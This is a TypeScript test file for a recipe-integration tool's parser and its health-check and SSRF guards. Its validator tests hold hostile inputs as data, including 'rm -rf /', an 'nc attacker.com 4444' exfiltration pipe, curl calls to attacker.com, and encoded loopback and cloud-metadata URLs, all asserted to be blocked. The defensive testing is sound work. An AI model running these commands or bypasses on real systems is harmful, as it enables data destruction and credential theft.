Files
gbrain/test/integrations.test.ts
T
8901dc0f45 fix(backlog): x-to-brain health check, propose_takes deadlines, capture title truncation, extract_atoms backlog + pooler direct-URL (part4-6) (#3165)
* fix(recipes/x-to-brain): use /users/by/username for app-only bearer health check

Takeover of #2343. /users/me requires user-context OAuth and always fails
under the app-only bearer the recipe collects. Health check + setup curls
now use /users/by/username/$X_HANDLE, with X_HANDLE declared in secrets
so the installer prompts for it. Recipe version 0.8.1 -> 0.8.2.

Co-authored-by: ethanbeard <ethanbeard@users.noreply.github.com>
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(cycle): bound propose_takes with per-call timeout + phase deadline

Takeover of #2262. The extractor's gateway.chat call had no abortSignal, so
one stalled provider socket could pin the phase for the 300s gateway default
per page; the nightly wrapper then SIGTERMed the whole phase mid-run. Each
extractor call is now bounded at 90s (per-page failure already logs a warning
and continues), and the page loop carries a 30-min wall-clock deadline that
breaks cleanly into a partial result with deadline_hit:true + warn status.

Unlike the original PR, the default pageLimit stays at 100 — shrinking it to
30 was an unrelated product-knob change that would permanently cut nightly
take coverage.

Co-authored-by: tschew72 <tschew72@users.noreply.github.com>
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(capture): make fallback title truncation explicit and astral-safe

Takeover of #2310. deriveTitle's silent .slice(0, 80) could split an astral
surrogate pair mid-character and gave no signal the title was cut. Truncation
is now codepoint-aware and appends an ellipsis (still capped at 80 codepoints).

Unlike the original PR, this stays a three-line change: no whitespace
normalization of every derived title, no word-boundary heuristics.

Co-authored-by: xd-Neji <xd-Neji@users.noreply.github.com>
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(doctor): clear extract_atoms raw source-holder backlog + normalize pooler direct-URL overrides

Takeover of #2242, split to the two concerns that survive review:

- extract_atoms: exclude source pages whose frontmatter declares a raw
  payload pointer from discovery AND the doctor backlog count (shared SQL
  fragment so they can't drift). Extraction on these yields zero atoms, so
  no atom row is ever written and they re-enter the backlog every cycle —
  a permanent no-progress doctor blocker.
- connection-manager: a direct-URL override (opts/env) that still points at
  the Supavisor TRANSACTION pooler (port 6543, usually a copy-paste of the
  primary URL) is normalized to the real direct host via deriveDirectUrl.
  Session-mode pooler overrides (port 5432) pass through — they are a
  legitimate direct-ish target, which the original PR would have nulled out.

Dropped from the original PR: orphan-reporting atom exclusions (master
already excludes atoms/ and raw/ first segments plus /raw/ segments in
src/commands/orphans.ts) and the drain dry-run status tweak.

Co-authored-by: benjonp <benjonp@users.noreply.github.com>
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(cycle): record propose_takes deadline break as a halt in the extract rollup

A deadline-hit run breaks the page loop mid-list — same posture as budget
exhaustion — but the rollup still counted it as a completed round with no
halt, hiding chronic never-finishing nightly runs from extract-status/
doctor. Treat deadline_hit like budget_exhausted in the rollup deltas;
deadline test now pins halt=1 / completed=0.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Garry Tan <garrytan@gmail.com>
Co-authored-by: ethanbeard <ethanbeard@users.noreply.github.com>
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: tschew72 <tschew72@users.noreply.github.com>
Co-authored-by: xd-Neji <xd-Neji@users.noreply.github.com>
Co-authored-by: benjonp <benjonp@users.noreply.github.com>
2026-07-23 13:23:36 -07:00

682 lines
27 KiB
TypeScript

import { describe, test, expect, beforeAll } from 'bun:test';
import {
parseRecipe,
isUnsafeHealthCheck,
expandVars,
executeHealthCheck,
parseOctet,
hostnameToOctets,
isPrivateIpv4,
isInternalUrl,
} from '../src/commands/integrations.ts';
// --- parseRecipe tests ---
describe('parseRecipe', () => {
test('parses valid recipe with full frontmatter', () => {
const content = `---
id: test-recipe
name: Test Recipe
version: 1.0.0
description: A test recipe
category: sense
requires: []
secrets:
- name: API_KEY
description: Test key
where: https://example.com
health_checks:
- "echo ok"
setup_time: 5 min
---
# Setup Guide
Step 1: do the thing.
---
Step 2: do the other thing.
`;
const recipe = parseRecipe(content, 'test.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.id).toBe('test-recipe');
expect(recipe!.frontmatter.name).toBe('Test Recipe');
expect(recipe!.frontmatter.version).toBe('1.0.0');
expect(recipe!.frontmatter.category).toBe('sense');
expect(recipe!.frontmatter.secrets).toHaveLength(1);
expect(recipe!.frontmatter.secrets[0].name).toBe('API_KEY');
expect(recipe!.frontmatter.secrets[0].where).toBe('https://example.com');
expect(recipe!.frontmatter.health_checks).toHaveLength(1);
// Body should contain the horizontal rule (---) without being split
expect(recipe!.body).toContain('Step 1');
expect(recipe!.body).toContain('Step 2');
expect(recipe!.body).toContain('---');
});
test('body with --- horizontal rules is NOT split as timeline', () => {
const content = `---
id: hr-test
name: HR Test
---
Section one content.
---
Section two content.
---
Section three content.
`;
const recipe = parseRecipe(content, 'hr-test.md');
expect(recipe).not.toBeNull();
// All three sections should be in the body (gray-matter doesn't split on ---)
expect(recipe!.body).toContain('Section one');
expect(recipe!.body).toContain('Section two');
expect(recipe!.body).toContain('Section three');
});
test('returns null for missing id', () => {
const content = `---
name: No ID Recipe
---
Content here.
`;
const recipe = parseRecipe(content, 'no-id.md');
expect(recipe).toBeNull();
});
test('returns null for malformed YAML', () => {
const content = `---
id: broken
this is not: valid: yaml: [
---
Content.
`;
const recipe = parseRecipe(content, 'broken.md');
expect(recipe).toBeNull();
});
test('returns null for no frontmatter', () => {
const content = `# Just a markdown file
No frontmatter here.
`;
const recipe = parseRecipe(content, 'plain.md');
expect(recipe).toBeNull();
});
test('defaults missing optional fields', () => {
const content = `---
id: minimal
---
Minimal recipe.
`;
const recipe = parseRecipe(content, 'minimal.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.name).toBe('minimal');
expect(recipe!.frontmatter.version).toBe('0.0.0');
expect(recipe!.frontmatter.category).toBe('sense');
expect(recipe!.frontmatter.requires).toEqual([]);
expect(recipe!.frontmatter.secrets).toEqual([]);
expect(recipe!.frontmatter.health_checks).toEqual([]);
});
test('parses reflex category', () => {
const content = `---
id: meeting-prep
category: reflex
---
Prep for meetings.
`;
const recipe = parseRecipe(content, 'reflex.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.category).toBe('reflex');
});
test('parses multiple secrets', () => {
const content = `---
id: multi-secret
secrets:
- name: KEY_A
description: First key
where: https://a.com
- name: KEY_B
description: Second key
where: https://b.com
- name: KEY_C
description: Third key
where: https://c.com
---
Content.
`;
const recipe = parseRecipe(content, 'multi.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.secrets).toHaveLength(3);
expect(recipe!.frontmatter.secrets[2].name).toBe('KEY_C');
});
});
// --- CLI structure tests ---
describe('CLI integration', () => {
let cliSource: string;
beforeAll(() => {
const { readFileSync } = require('fs');
cliSource = readFileSync(new URL('../src/cli.ts', import.meta.url), 'utf-8');
});
test('CLI_ONLY set contains integrations', () => {
expect(cliSource).toContain("'integrations'");
});
test('handleCliOnly routes integrations before connectEngine', () => {
// integrations case must appear before "All remaining CLI-only commands need a DB"
const integrationsIdx = cliSource.indexOf("command === 'integrations'");
const dbComment = cliSource.indexOf('All remaining CLI-only commands need a DB');
expect(integrationsIdx).toBeGreaterThan(0);
expect(dbComment).toBeGreaterThan(0);
expect(integrationsIdx).toBeLessThan(dbComment);
});
test('help text mentions integrations', () => {
expect(cliSource).toContain('integrations');
});
});
// --- Recipe file validation ---
describe('twilio-voice-brain recipe', () => {
test('recipe file parses correctly', () => {
const { readFileSync } = require('fs');
const content = readFileSync(
new URL('../recipes/twilio-voice-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'twilio-voice-brain.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.id).toBe('twilio-voice-brain');
expect(recipe!.frontmatter.category).toBe('sense');
expect(recipe!.frontmatter.secrets.length).toBeGreaterThan(0);
expect(recipe!.frontmatter.health_checks.length).toBeGreaterThan(0);
// Body should not be corrupted (contains --- horizontal rules)
expect(recipe!.body.length).toBeGreaterThan(100);
});
test('recipe has required secrets with where URLs', () => {
const { readFileSync } = require('fs');
const content = readFileSync(
new URL('../recipes/twilio-voice-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'twilio-voice-brain.md');
expect(recipe).not.toBeNull();
for (const secret of recipe!.frontmatter.secrets) {
expect(secret.name).toBeTruthy();
expect(secret.where).toBeTruthy();
expect(secret.where).toContain('https://');
}
});
test('recipe has all required secrets', () => {
const { readFileSync } = require('fs');
const content = readFileSync(
new URL('../recipes/twilio-voice-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'twilio-voice-brain.md');
expect(recipe).not.toBeNull();
const secretNames = recipe!.frontmatter.secrets.map((s: any) => s.name);
expect(secretNames).toContain('TWILIO_ACCOUNT_SID');
expect(secretNames).toContain('TWILIO_AUTH_TOKEN');
expect(secretNames).toContain('OPENAI_API_KEY');
});
test('recipe version is valid semver', () => {
const { readFileSync } = require('fs');
const content = readFileSync(
new URL('../recipes/twilio-voice-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'twilio-voice-brain.md');
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.version).toMatch(/^\d+\.\d+\.\d+$/);
});
test('recipe requires resolve to existing recipe files', () => {
const { readFileSync, existsSync } = require('fs');
const { resolve } = require('path');
const content = readFileSync(
new URL('../recipes/twilio-voice-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'twilio-voice-brain.md');
expect(recipe).not.toBeNull();
const recipesDir = new URL('../recipes/', import.meta.url).pathname;
for (const dep of recipe!.frontmatter.requires) {
const depPath = resolve(recipesDir, `${dep}.md`);
expect(existsSync(depPath)).toBe(true);
}
});
});
describe('x-to-brain recipe', () => {
test('health check works with an app-only bearer token (#2343)', () => {
const { readFileSync } = require('fs');
const content = readFileSync(
new URL('../recipes/x-to-brain.md', import.meta.url),
'utf-8'
);
const recipe = parseRecipe(content, 'x-to-brain.md');
expect(recipe).not.toBeNull();
const httpChecks = recipe!.frontmatter.health_checks
.filter((c: any) => typeof c === 'object' && c.type === 'http');
expect(httpChecks.length).toBeGreaterThan(0);
const secretNames = new Set(recipe!.frontmatter.secrets.map((s: any) => s.name));
for (const check of httpChecks as any[]) {
// /users/me requires user-context OAuth; the recipe only collects an
// app-only bearer token, so probing it always fails.
expect(check.url).not.toContain('/users/me');
// Every $VAR the check expands must be declared in secrets, or the
// installer never prompts for it and the check fails for everyone.
const vars = [check.url, check.auth_token, check.auth_user, check.auth_pass]
.filter((v: unknown): v is string => typeof v === 'string')
.flatMap((v: string) => v.match(/\$[A-Z_][A-Z0-9_]*/g) ?? [])
.map((v: string) => v.slice(1));
expect(vars.length).toBeGreaterThan(0);
for (const name of vars) expect(secretNames.has(name)).toBe(true);
}
});
});
// --- All recipes parse without error ---
describe('all recipes', () => {
test('every recipe file in recipes/ parses correctly', () => {
const { readFileSync, readdirSync } = require('fs');
const { resolve } = require('path');
const recipesDir = new URL('../recipes/', import.meta.url).pathname;
const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
expect(files.length).toBeGreaterThan(0);
for (const file of files) {
const content = readFileSync(resolve(recipesDir, file), 'utf-8');
const recipe = parseRecipe(content, file);
expect(recipe).not.toBeNull();
expect(recipe!.frontmatter.id).toBeTruthy();
}
});
test('no recipe contains personal references', () => {
const { readFileSync, readdirSync } = require('fs');
const { resolve } = require('path');
const recipesDir = new URL('../recipes/', import.meta.url).pathname;
const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
const personalPatterns = /wintermute|mercury|16507969501|\+1650796/i;
for (const file of files) {
const content = readFileSync(resolve(recipesDir, file), 'utf-8');
expect(content).not.toMatch(personalPatterns);
}
});
test('typed health_checks parse correctly in all recipes', () => {
const { readFileSync, readdirSync } = require('fs');
const { resolve } = require('path');
const recipesDir = new URL('../recipes/', import.meta.url).pathname;
const files = readdirSync(recipesDir).filter((f: string) => f.endsWith('.md'));
for (const file of files) {
const content = readFileSync(resolve(recipesDir, file), 'utf-8');
const recipe = parseRecipe(content, file);
expect(recipe).not.toBeNull();
for (const check of recipe!.frontmatter.health_checks) {
if (typeof check === 'string') {
// String health checks are deprecated but still valid
expect(typeof check).toBe('string');
} else {
// Typed checks must have a valid type
expect(['http', 'env_exists', 'command', 'any_of']).toContain((check as any).type);
}
}
}
});
});
// --- isUnsafeHealthCheck tests ---
describe('isUnsafeHealthCheck', () => {
test('allows simple commands', () => {
expect(isUnsafeHealthCheck('echo ok')).toBe(false);
expect(isUnsafeHealthCheck('curl -s https://api.example.com/health')).toBe(false);
expect(isUnsafeHealthCheck('which git')).toBe(false);
expect(isUnsafeHealthCheck('python3 --version')).toBe(false);
});
test('blocks shell chaining operators', () => {
expect(isUnsafeHealthCheck('echo ok; rm -rf /')).toBe(true);
expect(isUnsafeHealthCheck('echo ok && curl attacker.com')).toBe(true);
expect(isUnsafeHealthCheck('echo ok & bg-process')).toBe(true);
expect(isUnsafeHealthCheck('cat /etc/passwd | nc attacker.com 4444')).toBe(true);
});
test('blocks command substitution', () => {
expect(isUnsafeHealthCheck('echo $(whoami)')).toBe(true);
expect(isUnsafeHealthCheck('echo `id`')).toBe(true);
});
test('blocks subshell and brace expansion', () => {
expect(isUnsafeHealthCheck('(curl attacker.com)')).toBe(true);
expect(isUnsafeHealthCheck('{echo,/etc/passwd}')).toBe(true);
});
test('blocks redirect and newline injection', () => {
expect(isUnsafeHealthCheck('echo ok > /dev/null')).toBe(true);
expect(isUnsafeHealthCheck('echo ok < /etc/passwd')).toBe(true);
expect(isUnsafeHealthCheck('echo ok\ncurl attacker.com')).toBe(true);
});
});
// --- expandVars tests ---
describe('expandVars', () => {
test('expands known env vars', () => {
process.env.TEST_VAR_A = 'hello';
expect(expandVars('prefix-$TEST_VAR_A-suffix')).toBe('prefix-hello-suffix');
delete process.env.TEST_VAR_A;
});
test('replaces unknown vars with empty string', () => {
delete process.env.NONEXISTENT_VAR_XYZ;
expect(expandVars('$NONEXISTENT_VAR_XYZ')).toBe('');
});
test('handles multiple vars', () => {
process.env.TEST_A = 'one';
process.env.TEST_B = 'two';
expect(expandVars('$TEST_A and $TEST_B')).toBe('one and two');
delete process.env.TEST_A;
delete process.env.TEST_B;
});
test('leaves strings without vars unchanged', () => {
expect(expandVars('https://example.com/path')).toBe('https://example.com/path');
});
});
// --- executeHealthCheck tests ---
describe('executeHealthCheck', () => {
test('env_exists returns ok when env var is set', async () => {
process.env.TEST_HC_VAR = 'present';
const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_VAR', label: 'Test' }, 'test-id', true);
expect(result.status).toBe('ok');
expect(result.output).toContain('set');
delete process.env.TEST_HC_VAR;
});
test('env_exists returns fail when env var is missing', async () => {
delete process.env.TEST_HC_MISSING;
const result = await executeHealthCheck({ type: 'env_exists', name: 'TEST_HC_MISSING' }, 'test-id', true);
expect(result.status).toBe('fail');
expect(result.output).toContain('NOT SET');
});
test('command returns ok for exit 0', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true cmd' }, 'test-id', true);
expect(result.status).toBe('ok');
});
test('command returns fail for exit 1', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['false'], label: 'false cmd' }, 'test-id', true);
expect(result.status).toBe('fail');
});
test('any_of returns ok if first check passes', async () => {
process.env.TEST_ANYOF = 'yes';
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_ANYOF' },
{ type: 'env_exists', name: 'NONEXISTENT' },
],
}, 'test-id', true);
expect(result.status).toBe('ok');
delete process.env.TEST_ANYOF;
});
test('any_of returns ok if second check passes', async () => {
delete process.env.TEST_FIRST;
process.env.TEST_SECOND = 'yes';
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_FIRST' },
{ type: 'env_exists', name: 'TEST_SECOND' },
],
}, 'test-id', true);
expect(result.status).toBe('ok');
delete process.env.TEST_SECOND;
});
test('any_of returns fail if all checks fail', async () => {
delete process.env.TEST_NONE_A;
delete process.env.TEST_NONE_B;
const result = await executeHealthCheck({
type: 'any_of',
label: 'fallback',
checks: [
{ type: 'env_exists', name: 'TEST_NONE_A' },
{ type: 'env_exists', name: 'TEST_NONE_B' },
],
}, 'test-id', true);
expect(result.status).toBe('fail');
});
// B2: Non-embedded string health_checks are hard-blocked regardless of metachars.
test('string health_check is hard-blocked for non-embedded (even safe strings)', async () => {
const result = await executeHealthCheck('echo ok', 'test-id', false);
expect(result.status).toBe('blocked');
expect(result.output).toContain('restricted to embedded recipes');
});
test('string health_check with unsafe metacharacters is blocked for non-embedded', async () => {
const result = await executeHealthCheck('echo ok; rm -rf /', 'test-id', false);
expect(result.status).toBe('blocked');
expect(result.output).toContain('restricted to embedded recipes');
});
// Embedded recipes still get the metachar defense-in-depth guard.
test('string health_check with unsafe metacharacters is blocked even for embedded (defense-in-depth)', async () => {
const result = await executeHealthCheck('echo ok; rm -rf /', 'test-id', true);
expect(result.status).toBe('blocked');
expect(result.output).toContain('unsafe shell characters');
});
test('string health_check runs for embedded recipes when safe', async () => {
const result = await executeHealthCheck('echo hello-world', 'test-id', true);
expect(result.status).toBe('ok');
expect(result.output).toContain('hello-world');
});
// Fix 2: command DSL health checks are gated on isEmbedded.
test('command health_check is blocked for non-embedded recipes', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true' }, 'test-id', false);
expect(result.status).toBe('blocked');
expect(result.output).toContain('restricted to embedded recipes');
});
test('command health_check runs for embedded recipes', async () => {
const result = await executeHealthCheck({ type: 'command', argv: ['true'], label: 'true' }, 'test-id', true);
expect(result.status).toBe('ok');
});
// Fix 4: http DSL health checks are gated on isEmbedded.
test('http health_check is blocked for non-embedded recipes', async () => {
const result = await executeHealthCheck(
{ type: 'http', url: 'https://example.com/', label: 'example' },
'test-id',
false,
);
expect(result.status).toBe('blocked');
expect(result.output).toContain('restricted to embedded recipes');
});
// Fix 4 SSRF: even for embedded recipes, internal URLs are blocked.
test('http health_check blocks AWS metadata endpoint for embedded recipes', async () => {
const result = await executeHealthCheck(
{ type: 'http', url: 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', label: 'aws' },
'test-id',
true,
);
expect(result.status).toBe('blocked');
expect(result.output).toContain('internal/private');
});
test('http health_check blocks localhost for embedded recipes', async () => {
const result = await executeHealthCheck(
{ type: 'http', url: 'http://127.0.0.1:8080/admin', label: 'local' },
'test-id',
true,
);
expect(result.status).toBe('blocked');
});
test('http health_check blocks non-http scheme (file://)', async () => {
const result = await executeHealthCheck(
{ type: 'http', url: 'file:///etc/passwd', label: 'file' },
'test-id',
true,
);
expect(result.status).toBe('blocked');
});
});
// --- SSRF helper tests (B3/B4/Fix 4) ---
describe('parseOctet', () => {
test('parses plain decimal', () => { expect(parseOctet('80')).toBe(80); });
test('parses hex (0x prefix)', () => { expect(parseOctet('0x50')).toBe(80); });
test('parses hex (uppercase)', () => { expect(parseOctet('0X7F')).toBe(127); });
test('parses octal (leading zero)', () => { expect(parseOctet('0177')).toBe(127); });
test('zero is decimal zero', () => { expect(parseOctet('0')).toBe(0); });
test('rejects empty', () => { expect(Number.isNaN(parseOctet(''))).toBe(true); });
test('rejects non-numeric', () => { expect(Number.isNaN(parseOctet('foo'))).toBe(true); });
test('rejects invalid octal (8/9)', () => { expect(Number.isNaN(parseOctet('089'))).toBe(true); });
});
describe('hostnameToOctets', () => {
test('dotted decimal', () => { expect(hostnameToOctets('127.0.0.1')).toEqual([127, 0, 0, 1]); });
test('single decimal integer', () => { expect(hostnameToOctets('2130706433')).toEqual([127, 0, 0, 1]); });
test('hex integer', () => { expect(hostnameToOctets('0x7f000001')).toEqual([127, 0, 0, 1]); });
test('dotted mixed radix', () => { expect(hostnameToOctets('0x7f.0.0.1')).toEqual([127, 0, 0, 1]); });
test('dotted octal', () => { expect(hostnameToOctets('0177.0.0.1')).toEqual([127, 0, 0, 1]); });
test('non-IP hostname returns null', () => { expect(hostnameToOctets('api.example.com')).toBe(null); });
test('too many parts returns null', () => { expect(hostnameToOctets('1.2.3.4.5')).toBe(null); });
test('octet out of range returns null', () => { expect(hostnameToOctets('256.0.0.1')).toBe(null); });
});
describe('isPrivateIpv4', () => {
test('loopback 127.0.0.1', () => { expect(isPrivateIpv4([127, 0, 0, 1])).toBe(true); });
test('loopback 127.255.255.255', () => { expect(isPrivateIpv4([127, 255, 255, 255])).toBe(true); });
test('RFC1918 10.0.0.1', () => { expect(isPrivateIpv4([10, 0, 0, 1])).toBe(true); });
test('RFC1918 172.16.0.1', () => { expect(isPrivateIpv4([172, 16, 0, 1])).toBe(true); });
test('RFC1918 172.31.255.255', () => { expect(isPrivateIpv4([172, 31, 255, 255])).toBe(true); });
test('172.15 is NOT RFC1918', () => { expect(isPrivateIpv4([172, 15, 0, 1])).toBe(false); });
test('172.32 is NOT RFC1918', () => { expect(isPrivateIpv4([172, 32, 0, 1])).toBe(false); });
test('RFC1918 192.168.1.1', () => { expect(isPrivateIpv4([192, 168, 1, 1])).toBe(true); });
test('link-local 169.254.169.254 (AWS metadata)', () => { expect(isPrivateIpv4([169, 254, 169, 254])).toBe(true); });
test('CGNAT 100.64.0.1', () => { expect(isPrivateIpv4([100, 64, 0, 1])).toBe(true); });
test('CGNAT 100.127.255.255', () => { expect(isPrivateIpv4([100, 127, 255, 255])).toBe(true); });
test('100.63 is NOT CGNAT', () => { expect(isPrivateIpv4([100, 63, 0, 1])).toBe(false); });
test('100.128 is NOT CGNAT', () => { expect(isPrivateIpv4([100, 128, 0, 1])).toBe(false); });
test('unspecified 0.0.0.0', () => { expect(isPrivateIpv4([0, 0, 0, 0])).toBe(true); });
test('public 8.8.8.8', () => { expect(isPrivateIpv4([8, 8, 8, 8])).toBe(false); });
test('public 1.1.1.1', () => { expect(isPrivateIpv4([1, 1, 1, 1])).toBe(false); });
});
describe('isInternalUrl', () => {
// Blocked — metadata hostnames
test('blocks AWS EC2 metadata', () => { expect(isInternalUrl('http://169.254.169.254/latest/')).toBe(true); });
test('blocks GCP metadata', () => { expect(isInternalUrl('http://metadata.google.internal/')).toBe(true); });
test('blocks bare metadata hostname', () => { expect(isInternalUrl('http://metadata/')).toBe(true); });
test('blocks instance-data', () => { expect(isInternalUrl('http://instance-data.ec2.internal/')).toBe(true); });
// Blocked — loopback + localhost
test('blocks localhost', () => { expect(isInternalUrl('http://localhost:8080/')).toBe(true); });
test('blocks sub.localhost', () => { expect(isInternalUrl('http://foo.localhost/')).toBe(true); });
test('blocks 127.0.0.1', () => { expect(isInternalUrl('http://127.0.0.1/')).toBe(true); });
test('blocks 127.1.1.1', () => { expect(isInternalUrl('http://127.1.1.1/')).toBe(true); });
test('blocks IPv6 [::1]', () => { expect(isInternalUrl('http://[::1]/')).toBe(true); });
// Blocked — private IPv4 ranges
test('blocks 10.0.0.1', () => { expect(isInternalUrl('http://10.0.0.1/')).toBe(true); });
test('blocks 172.16.0.1', () => { expect(isInternalUrl('http://172.16.0.1/')).toBe(true); });
test('blocks 192.168.1.1', () => { expect(isInternalUrl('http://192.168.1.1/router')).toBe(true); });
test('blocks CGNAT 100.64.0.1', () => { expect(isInternalUrl('http://100.64.0.1/')).toBe(true); });
// Blocked — IPv4 bypass encodings
test('blocks hex IP 0x7f000001', () => { expect(isInternalUrl('http://0x7f000001/')).toBe(true); });
test('blocks single decimal IP 2130706433', () => { expect(isInternalUrl('http://2130706433/')).toBe(true); });
test('blocks octal IP 0177.0.0.1', () => { expect(isInternalUrl('http://0177.0.0.1/')).toBe(true); });
test('blocks IPv4-mapped IPv6 [::ffff:127.0.0.1]', () => {
expect(isInternalUrl('http://[::ffff:127.0.0.1]/')).toBe(true);
});
// Blocked — non-HTTP schemes (B4)
test('blocks file:// scheme', () => { expect(isInternalUrl('file:///etc/passwd')).toBe(true); });
test('blocks data: scheme', () => { expect(isInternalUrl('data:text/plain,hello')).toBe(true); });
test('blocks ftp:// scheme', () => { expect(isInternalUrl('ftp://internal.corp/')).toBe(true); });
test('blocks javascript: scheme', () => { expect(isInternalUrl('javascript:alert(1)')).toBe(true); });
test('blocks blob: scheme', () => { expect(isInternalUrl('blob:http://evil.com/abc')).toBe(true); });
// Blocked — malformed
test('blocks malformed URL (fail-closed)', () => { expect(isInternalUrl('not a url')).toBe(true); });
test('blocks empty URL', () => { expect(isInternalUrl('')).toBe(true); });
// Allowed — public HTTPS/HTTP
test('allows public https', () => { expect(isInternalUrl('https://api.github.com/')).toBe(false); });
test('allows public http', () => { expect(isInternalUrl('http://example.com/')).toBe(false); });
test('allows public IP 8.8.8.8', () => { expect(isInternalUrl('http://8.8.8.8/')).toBe(false); });
test('allows URL with port', () => { expect(isInternalUrl('https://example.com:8443/x')).toBe(false); });
test('allows URL with userinfo on public host', () => {
expect(isInternalUrl('https://user:pass@example.com/path')).toBe(false);
});
// Userinfo does NOT help attackers hide the real host
test('userinfo does not bypass loopback check', () => {
expect(isInternalUrl('http://evil.com@127.0.0.1/')).toBe(true);
});
// Trailing-dot numeric host
test('blocks trailing-dot numeric 127.0.0.1.', () => { expect(isInternalUrl('http://127.0.0.1./')).toBe(true); });
});
// --- Recipe trust boundary (B1 regression) ---
import { getRecipeDirs } from '../src/commands/integrations.ts';
describe('getRecipeDirs (B1 trust boundary)', () => {
test('returns tiered list with trusted flag', () => {
const dirs = getRecipeDirs();
// Must not be empty in a real repo (source recipes/ dir exists)
expect(dirs.length).toBeGreaterThan(0);
// Every entry must have an explicit trusted flag
for (const d of dirs) {
expect(typeof d.trusted).toBe('boolean');
expect(typeof d.dir).toBe('string');
}
// In this repo, the source recipes dir must be trusted
const source = dirs.find(d => d.dir.endsWith('/recipes') && d.trusted);
expect(source).toBeDefined();
});
test('cwd/recipes fallback is NOT trusted', () => {
const dirs = getRecipeDirs();
// If a cwd/recipes dir exists in the test env, it must be trusted=false.
// (In this repo the source dir resolves to ./recipes so it IS cwd/recipes AND trusted.
// The regression we are guarding is that a caller-local recipes/ dir is never marked trusted
// when it is not the package-bundled one. This test asserts the tier ordering at minimum.)
// The trust flag is the only source of truth — never assume by path name.
for (const d of dirs) {
if (d.dir === process.env.GBRAIN_RECIPES_DIR) {
expect(d.trusted).toBe(false);
}
}
});
});